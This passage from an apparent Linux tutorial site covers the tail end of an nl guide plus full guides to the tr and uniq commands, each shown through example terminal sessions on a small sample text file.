      7  Hello world :)

How to numbering formats

[vagrant@DevopsRoles ~]$ nl -n ln nl_command.txt                               
 1       HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
 2       Devops Roles.
 3       Devops Roles.
 4       Devops Roles.
 5       Devops Roles.
 6       Hello world :)
 [vagrant@DevopsRoles ~]$ nl -n rz nl_command.txt 
 000001  HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
 000002  Devops Roles.
 000003  Devops Roles.
 000004  Devops Roles.
 000005  Devops Roles.
 000006  Hello world :)

Customized numbering separator

[vagrant@DevopsRoles ~]$ nl nl_command.txt                                     
      1  HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
      2  Devops Roles.
      3  Devops Roles.
      4  Devops Roles.
      5  Devops Roles.
      6  Hello world :)
 [vagrant@DevopsRoles ~]$ nl -s : nl_command.txt 
      1:HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
      2:Devops Roles.
      3:Devops Roles.
      4:Devops Roles.
      5:Devops Roles.
      6:Hello world :)

Conclusion

nl command is a simple command in Linux. It uses the number of lines of files. You can refer to the manual page for the “nl” command by typing man nl in the terminal for more information and additional options available on your specific Linux distribution. Thank you for reading the DevopsRoles page!

How to Use the tr Command in Linux: Examples Included

Introduction

In this tutorial, we will explore the tr command in Linux, a versatile utility in Linux for translating or deleting characters in text. The tr command is primarily used for character-level transformations, making it an essential tool for modifying the contents of text files or input streams. By specifying certain rules, tr allows you to replace or remove specific characters efficiently. Let’s dive into practical examples to see the using tr command in Linux.

What is the purpose of the tr command?

The tr command, short for “translate,” is a powerful utility in Linux used to translate or delete characters in text data. It performs specific transformations on the contents of a file or data from a standard input, based on rules defined by the user.

tr command syntax

tr [OPTION]... [INPUT [OUTPUT]]

According to the man page, it is described as follows.

  • tr – translate or delete characters.
  • man tr – More details information about tr command.

tr command in Linux with an example

I have created a file tr_command.txt as below

[vagrant@DevopsRoles ~]$ cat tr_command.txt 
 HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
 Devops Roles.
 Devops Roles.
 Devops Roles.
 Devops Roles.
 Hello world :)

How to convert small letters into capital letters.

[vagrant@DevopsRoles ~]$ cat tr_command.txt | tr [:lower:] [:upper:]           
 HUUPV, MY WEBSITE DEVOPSROLES.COM AND HUUPHAN.COM.SN:199X.
 DEVOPS ROLES.
 DEVOPS ROLES.
 DEVOPS ROLES.
 DEVOPS ROLES.
 HELLO WORLD :)

The following command is used to convert each space of the text by a newline (\n)

[vagrant@DevopsRoles ~]$ cat tr_command.txt | tr [:space:] '\n'                                                                                                            
 HuuPV,
 My
 website
 DevopsRoles.com
 and
 HuuPhan.com.SN:199x.
 Devops
 Roles.
 Devops
 Roles.
 Devops
 Roles.
 Devops
 Roles.
 Hello
 world
 :)

uses –s option for searching and replacing any string from a text

[vagrant@DevopsRoles ~]$ cat tr_command.txt |  tr -s ' ' '\t'
 HuuPV,  My      website DevopsRoles.com and     HuuPhan.com.SN:199x.
 Devops  Roles.
 Devops  Roles.
 Devops  Roles.
 Devops  Roles.
 Hello   world   :)

Delete numbers

[vagrant@DevopsRoles ~]$ cat tr_command.txt | tr -d "[:digit:]"
 HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:x.
 Devops Roles.
 Devops Roles.
 Devops Roles.
 Devops Roles.
 Hello world :)

Output the converted output to a file

[vagrant@DevopsRoles ~]$ cat tr_command.txt | tr "[:upper:]" "[:lower:]" > result_tr.txt 

Conclusion

The tr command is a straightforward yet powerful tool in Linux, used to translate or delete characters in text. For more detailed information and to explore additional options that may vary by Linux distribution, you can consult the manual page for the tr command by typing man tr in the terminal. Thank you for visiting the DevopsRoles page!

uniq command in Linux: A Guide to Eliminating Duplicate Lines

Introduction

In this guide, I demonstrate how to use the uniq command in Linux to handle repeated lines. We’ll explore practical examples of the uniq command in action.

What does the “uniq” command mean?

uniq” – This command is used to report or omit repeated lines.

uniq command the syntax

uniq [OPTION]... [INPUT [OUTPUT]]

In the man page, the describes it

  • uniq – report or omit repeated lines.
  • man uniq – More details information about uniq command.

How to Use Uniq Command in Linux

I have created a file uniq_command.txt as below

[vagrant@DevopsRoles ~]$ cat uniq_command.txt 
 HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
 Devops Roles.
 Devops Roles.
 Devops Roles.
 Devops Roles.
 Hello world :)

Remove duplicate lines with the uniq command.

[vagrant@DevopsRoles ~]$ uniq uniq_command.txt 
 HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
 Devops Roles.
 Hello world :)

The number of times a line was repeated

[vagrant@DevopsRoles ~]$ uniq -c uniq_command.txt 
       1 HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
       4 Devops Roles.
       1 
       1 Hello world :)

It only prints the repeated lines.

[vagrant@DevopsRoles ~]$ uniq -d uniq_command.txt 
 Devops Roles.

Prints all repeated duplicate line

[vagrant@DevopsRoles ~]$ uniq -D uniq_command.txt 
 Devops Roles.
 Devops Roles.
 Devops Roles.
 Devops Roles.

How to not print the duplicate lines. Only the unique lines.

[vagrant@DevopsRoles ~]$ uniq -u uniq_command.txt 
 HuuPV, My website DevopsRoles.com and HuuPhan.com.SN:199x.
 Hello world :)

Conclusion

The uniq command is a straightforward tool in Linux, essential for managing and eliminating duplicate lines in files. It offers a simple yet effective way to clean data by reporting or omitting repeated entries. Thank you for visiting the DevopsRoles page and exploring this utility with us!